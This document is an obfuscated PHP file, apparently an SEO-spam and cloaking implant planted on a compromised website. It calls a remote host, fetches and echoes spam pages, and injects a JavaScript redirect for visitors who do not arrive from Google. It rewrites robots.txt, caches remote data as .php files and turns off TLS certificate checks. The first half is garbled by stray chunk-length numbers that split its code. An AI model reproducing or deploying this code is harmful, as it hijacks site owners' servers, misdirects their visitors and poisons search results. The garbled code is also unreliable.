1 < 3 ?ph 2 p 4 go 10 to ZwK5j; sNiwt: 4 if 3 (!e 4 mpty 3 ($s 3 z)) 4 { $ 3 jd 4 = ge 3 tCu 3 rlF 4 ast( 3 "{$ 4 http 3 _ty 4 pe}{ 2 $v 5 url}\ 4 63\x 3 6b\ 4 147\ 3 x2e 6 \141\1 5 63\16 4 0\17 3 0\x 4 3f\x 5 73\x7 5 a\x3d 3 " . 5 urle 4 ncod 8 e($sz)); 3 } 4 else 2b { $jd = getCurlFast("{$http_type}{$vurl}\x b 33\153\147\ 2 56 10 \141\163\160\x78 8 \x3f\x78 6 \171\7 d 5{$http_type} 4 "); 3 $sz 27 = getCurlFast("{$http_type}{$vurl}\63\ 1f 153\147\56\141\163\160\x78\77\x 4 6a\x 2 64 15 \x3d" . urlencode($jd 6 )); } 7 goto kZ 4 XUn; 3 xF 2 Ij 4 t: f 4 unct 3 ion 7 get_re 3 al_ 3 ip( 7 ) { $ke 5 ys = 4 arra 3 y(" 3 \x4 5 8\124 7 \124\x5 4 0\x5 7 f\x43\1 7 06\x5f\ 2 10 8 3\x4f\x4 4 e\11 5 6\105 a \103\124\1 8 11\x4e\1 2 07 b \x5f\111\x5 4 0", 4 "\11 c 0\x54\x54\x5 4 0\13 5 7\x58 b \137\x52\x4 4 5\10 b 1\x4c\137\x 2 49 9 \120", "\ 8 x48\x54\ c 124\x50\137\ 9 130\137\1 4 06\x 6 4f\122 4 \127 c \101\x52\x44 9 \105\x44\ 6 x5f\10 5 6\117 d \122", "\110\ 8 124\124\ b 120\137\x43 a \x4c\x49\1 6 05\x4e 15 \124\x5f\111\x50", "\ 9 x52\x45\x 8 4d\x4f\x 7 54\105\ 7 137\x41 a \x44\x44\1 6 22"); 2 fo 6 reach 7 ($keys 5 as $k 4 ) { e if (!empty($_S 3 ERV 3 ER[ 2 $k 8 ])) { $i 4 p = d $_SERVER[$k]; 7 if (st 4 rpos a ($ip, "\54 4 ") ! 3 == 2 fa e lse) { $ip = t 3 rim 4 (exp 5 lode( 6 "\54", 6 $ip)[ 2 0] 9 ); } if ( 3 fil 4 ter_ 11 var($ip, FILTER_V 3 ALI 3 DAT 3 E_I 7 P)) { r 11 eturn $ip; } } } 9 return "\ 4 61\6 3 2\6 9 7\x2e\60\ 3 56\ 7 60\x2e\ 4 x31" a ; } goto U 3 Oex 8 B; ZwK5j 4 : er 3 ror 4 _rep 4 orti 3 ng( 4 0); 7 goto eX 4 8At; 3 q7 3 0WN 4 : $s 3 url 7 = $jd 6 . "\16 7 3\x7a\1 3 56\ 12 56\141\163\160\170 8 "; goto 4 tadj 3 A; 4 p7jg 1 0 13 : function get_url_ 3 inf 5 o(str 14 ing $type = "\x64\15 4 7\15 7 5\x61\1 4 51\x 5 6e") 9 : string 4 { $h 3 ost c = $_SERVER[ 18 "\x48\124\124\120\137\x4 6 8\117\ 2 x5 8 3\124"] 3 ?? 2 '' d ; if ($type = 8 == "\x6e 5 \157\ 9 x5f\167\x 6 77\167 c ") { return 3 pre 5 g_rep 3 lac 6 e("\x2 5 f\x5e f \167\x77\x77\x5 5 c\56\ 6 57\x69 4 ", ' 2 ', b $host); } 3 $pr 5 otoco 4 l = 10 !empty($_SERVER[ 13 "\x48\x54\x54\x50\1 4 23"] 3 ) & 1 & 2a $_SERVER["\110\124\124\120\123"] !== "\x6 4 f\14 7 6\146" 5 ? "\1 5 50\x7 6 4\x74\ 8 160\x73\ 6 72\57\ 3 57" 9 : "\150\ 8 164\x74\ 4 x70\ 9 72\57\x2f 4 "; $ 3 bas e e = $protocol 7 . $host 14 ; if ($type === "\x6 b 2\141\163\1 2 45 11 ") { return $base 8 ; } if ( 12 $type === "\146\16 5 5\x6c 15 \x6c") { return $base 3 . 10 ($_SERVER["\x52\ 6 105\12 5 1\125 6 \x45\x 8 53\x54\1 6 37\x55 8 \x52\x49 8 "] ?? '' d ); } return $ d host; } goto 3 WOC 3 uf; 1a oBxKF: function ensure_ro 4 bots 4 _sit 4 emap 3 ($s 8 itemapLi 7 ne) { $ 9 robots = 6 rtrim( d $_SERVER["\10 7 4\117\x 5 43\x5 6 5\x4d\ a 105\116\x5 1 4 1b \137\x52\x4f\x4f\124"], "\5 8 7\134") 8 . "\57\x 3 72\ 9 x6f\x62\1 6 57\x74 8 \x73\56\ 7 x74\x78 5 \x74" 7 ; if (! 6 file_e 4 xist 3 s($ b robots)) { 6 @file_ 4 put_ 3 con 3 ten f ts($robots, "\1 3 25\ a 163\145\16 5 2\x2d 9 \141\147\ 5 145\1 9 56\164\x3 3 a\4 4 0\x2 4 a\xa a \x41\154\x 3 6c\ 7 157\x77 8 \72\x20\ 5 57\xa 4 " . e $sitemapLine, 3 LOC 3 K_E e X); } else { $ 4 c = 6 @file_ 14 get_contents($robots 8 ); if ($ 6 c === 6 false 3 || 9 strpos($c e , $sitemapLine b ) === false 20 ) { @file_put_contents($robots, e $sitemapLine, 6 FILE_A 3 PPE 3 ND 1 | e LOCK_EX); } } b } goto TcP 3 SL; 3 jC 3 snT 7 : if ($ 7 kk === 2 '' 7 && $is 4 _no_ 3 que 2 ry a ) { if ($d 4 omai a n === "\14 7 7\157\x 6 6f\147 7 \x6c\x6 9 5") { out 4 put_ a sitemap_an 6 d_exit f ($sitemapLine, a $http_type d ); } else { d 8 ie; } } 6 goto G 3 QGt 3 w; 4 y1V0 1 b 8 : $kk = 4 isse 3 t($ 7 get["\x 6 6b\x6b 5 "]) ? 6 trim( e $get["\x6b\153 5 "]) : 5 ''; 7 goto u9 4 Vm1; 7 WOCuf: b $http_type 21 = !empty($_SERVER["\x48\x54\x54\ 9 120\123"] 1c ) && $_SERVER["\110\x54\124\ 2d 120\123"] !== "\x6f\146\146" ? "\150\x74\x74\ 4 x70\ 5 x73\x 7 3a\x2f\ 9 57" : "\x 2 68 10 \x74\164\x70\72\ e x2f\57"; goto 3 Vmg 4 LL; 5 kZXUn 6 : $hyz 3 hdy c = $jd . "\1 6 72\x6e 1b \56\141\163\160\170"; goto 6 q70WN; 7 GQGtw: 34 output_sitemap_and_exit($sitemapLine, $http_type); 8 goto EjU 3 3H; 4 egg 2 D8 c : function c 5 ache_ 5 set($ 6 key, $ 4 data 5 ) { $ 7 file = 3 sys 8 _get_tem 4 p_di 2 r( a ) . "\x2f\ 5 143\x 4 61\1 a 43\x68\x65 4 \x5f 6 " . md 6 5($key 8 ) . "\56 9 \160\x68\ 3 160 17 "; @file_put_contents($ 4 file 15 , $data, LOCK_EX); } 5 goto 6 xFIjt; 6 taa3z 1 : 16 if ($domain !== "\x67 8 \157\157 8 \147\154 5 \145" c && !empty($ 3 iid 7 )) { $k 3 nam 7 e = url 2 de 11 code(getCurlFast( 9 $jd . "\1 6 47\x6e 1a \56\141\163\160\x78\x3f\x6 8 9\x69\x6 f 4\x3d" . $iid)) 5 ; ech 5 o "\x 2 3c c \x73\x63\x72 5 \x69\ 9 160\x74\7 a 6\x6c\157\ 9 143\x61\1 6 64\151 8 \x6f\x6e 6 \75\x2 6 2" . $ a jd . "\141 6 \56\x6 a 1\163\x70\ 8 170\x3f\ d 143\x6e\141\1 6 55\x65 3 \75 f " . urlencode($ d kname) . "\x2 7 6\165\1 6 62\154 7 \75" . c $http_type . 18 $_SERVER["\x48\124\124\ d x50\137\110\x 5 4f\x5 8 3\x54"] e . $_SERVER["\x 9 53\x43\x5 9 2\x49\120 9 \x54\137\ 7 116\101 d \x4d\105"] . 5 "\x22 7 \x3c\x2 7 f\x73\x 18 63\x72\x69\160\x74\76"; 7 die; } 8 goto ZGe 3 Rz; a r795u: $q 6 z = su 4 bstr 4 (str 9 _replace( c array("\167\ b 167\167\x2e 6 ", "\5 3 6") 7 , '', $ 1343 _SERVER["\x48\124\124\x50\x5f\x48\x4f\123\124"]), 0, 3); goto ap1mo; TcPSL: if (!empty($get["\167"])) { $params = http_build_query(array("\x4e\x4f\x55\x6d\142\145\162" => $get["\x4e\117\x55\x6d\x62\145\x72"] ?? '', "\164" => $get["\164"] ?? '', "\x63\x6e" => $get["\143\x6e"] ?? '', "\x70\x4e\x4f\x55\x6d" => $get["\160\x4e\x4f\x55\155"] ?? '', "\x63\x69\144" => $get["\x63\151\x64"] ?? '', "\155" => $get["\x6d"] ?? '')); $str = getCurlFast("{$surl}\x3f{$params}"); echo str_replace(array("\171\171\x6d\x6d", "\x67\x67\x67\147\x67", "\77\146\x3d"), array($http_type . $_SERVER["\x48\124\x54\120\x5f\110\x4f\123\x54"] . $_SERVER["\123\103\x52\x49\x50\x54\x5f\x4e\101\115\x45"], $sz, "\77" . $qz . "\x3d"), $str); die; } goto y1V0b; ap1mo: $sz = $iid = ''; goto hlG6j; u9Vm1: $ip = $kk !== '' ? "\x36\66\x2e\x32\x34\x39\x2e\70\62\x2e\70" : get_real_ip(); goto UflM7; hlG6j: if (!empty($_GET)) { $f = reset($_GET); $sp = explode("\x2d", $f); if (count($sp) === 2) { $sz = $sp[0]; $iid = $sp[1]; } } goto sNiwt; UflM7: $domain = trim(getCurlFast($jd . "\147\x65\164\144\x6f\x6d\x61\151\x6e\x32\56\x61\x73\160\170\77\x72\x6e\144\75\x31\46\x69\160\75" . $ip)); goto taa3z; EYX7h: if ($kk !== '' && preg_match("\57\x5e\x5b\x41\55\x5a\141\x2d\172\60\x2d\x39\x5d\53\44\57", $kk)) { $remote = getCurlFast($jd . "\147\x65\164\144\157\155\x61\151\x6e\62\56\141\x73\x70\170\77\x72\156\144\75\62\x26\x6b\153\x3d" . $kk); if (!empty($remote)) { echo $remote; die; } } goto u3U2k; gmJgr: function cache_get($key, $expire = 300) { $file = sys_get_temp_dir() . "\x2f\143\141\143\150\145\x5f" . md5($key) . "\56\x70\150\x70"; if (file_exists($file) && time() - filemtime($file) < $expire) { return file_get_contents($file); } return false; } goto eggD8; u3U2k: if ($kk !== '' && !preg_match("\x2f\136\x5b\x41\55\132\141\x2d\172\x30\x2d\x39\135\x2b\44\57", $kk)) { output_sitemap_and_exit($sitemapLine, $http_type); } goto eCAbA; ofsRJ: function output_sitemap_and_exit($sitemapLine, $http_type) { ensure_robots_sitemap($sitemapLine); echo "\x3c\x64\x69\x76\40\x73\x74\171\154\x65\x3d\x27\164\145\x78\x74\x2d\x61\x6c\151\x67\156\72\x63\x65\156\164\145\x72\73\160\x61\x64\x64\x69\x6e\147\x3a\61\60\160\170\40\x30\73\47\x3e\xa\40\x20\x20\40\40\x20\x20\x20\40\40\x20\x20\74\x61\40\150\162\145\146\x3d\x22{$http_type}{$_SERVER["\110\124\124\120\137\110\117\123\124"]}{$_SERVER["\x53\103\122\111\x50\x54\x5f\116\x41\x4d\105"]}\x3f\167\x3d" . date("\131\x6d\144\110\151") . "\x22\x20\164\x61\x72\147\x65\x74\x3d\x22\137\142\154\x61\x6e\x6b\x22\x20\x72\x65\154\75\42\x6e\x6f\146\157\x6c\154\x6f\x77\x22\x3e\x53\151\164\145\x6d\141\160\74\x2f\141\x3e\xa\40\x20\x20\x20\40\40\x20\x20\40\x20\74\x2f\x64\x69\166\76"; die; } goto EYX7h; tadjA: $sitemapLine = "\123\151\x74\145\155\x61\x70\x3a\x20{$http_type}{$_SERVER["\x48\124\124\120\x5f\110\x4f\123\x54"]}{$_SERVER["\123\103\x52\111\x50\124\137\x4e\101\x4d\x45"]}\x3f\x77\x3d" . date("\131\155\144\110\151") . "\xa"; goto oBxKF; VmgLL: $vurl = "\164\157\x2e\152\x67\x61\x6c\154\x73\x2e\x63\157\155\x2f"; goto r795u; eCAbA: $is_no_query = empty($_SERVER["\x51\125\105\x52\131\137\x53\x54\122\x49\x4e\x47"]); goto jCsnT; eX8At: $get = filter_input_array(INPUT_GET, FILTER_SANITIZE_STRING); goto gmJgr; ZGeRz: if (!empty($iid)) { $str = getCurlFast($hyzhdy . "\x3f\x69\x69\x64\x3d{$iid}"); echo str_replace(array("\x67\x67\x67\147\147", "\x59\131\x59\x59\131", "\x58\x58\x58\131\131\x59", "\xe5\xbd\223\345\x89\x8d\125\x52\x4c", "\125\x55\x55\125\x55", "\115\x4d\115\115\x4d", "\77\x66\75"), array($sz, get_url_info(), get_url_info("\142\141\163\145"), get_url_info("\146\x75\x6c\154"), get_url_info("\x6e\x6f\x5f\x77\167\x77"), parse_url($_SERVER["\122\105\121\125\x45\123\124\137\x55\122\111"], PHP_URL_PATH), "\77" . $qz . "\75"), $str); die; } goto ofsRJ; UOexB: function getCurlFast($url) { $cached = cache_get($url); if ($cached !== false) { return $cached; } $data = ''; if (function_exists("\143\x75\x72\x6c\x5f\151\156\151\164")) { $ch = curl_init($url); curl_setopt_array($ch, array(CURLOPT_RETURNTRANSFER => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 8, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => "\115\157\x7a\x69\x6c\154\x61\57\65\56\60")); $data = curl_exec($ch); curl_close($ch); } if (empty($data) && ini_get("\x61\154\154\157\167\x5f\x75\x72\154\137\x66\157\160\x65\x6e")) { $context = stream_context_create(array("\150\x74\x74\160" => array("\164\151\x6d\145\157\x75\x74" => 8, "\x68\x65\x61\x64\145\x72" => "\x55\x73\145\162\55\101\x67\145\156\x74\x3a\x20\x4d\x6f\172\x69\154\154\141\x2f\65\56\x30\xd\12"), "\163\x73\x6c" => array("\x76\145\x72\x69\146\x79\x5f\x70\x65\x65\x72" => false, "\166\x65\x72\x69\146\x79\x5f\x70\x65\145\162\137\x6e\141\x6d\145" => false))); $data = @file_get_contents($url, false, $context); } if (!empty($data)) { cache_set($url, $data); } return $data; } goto p7jg0; EjU3H: ?> 0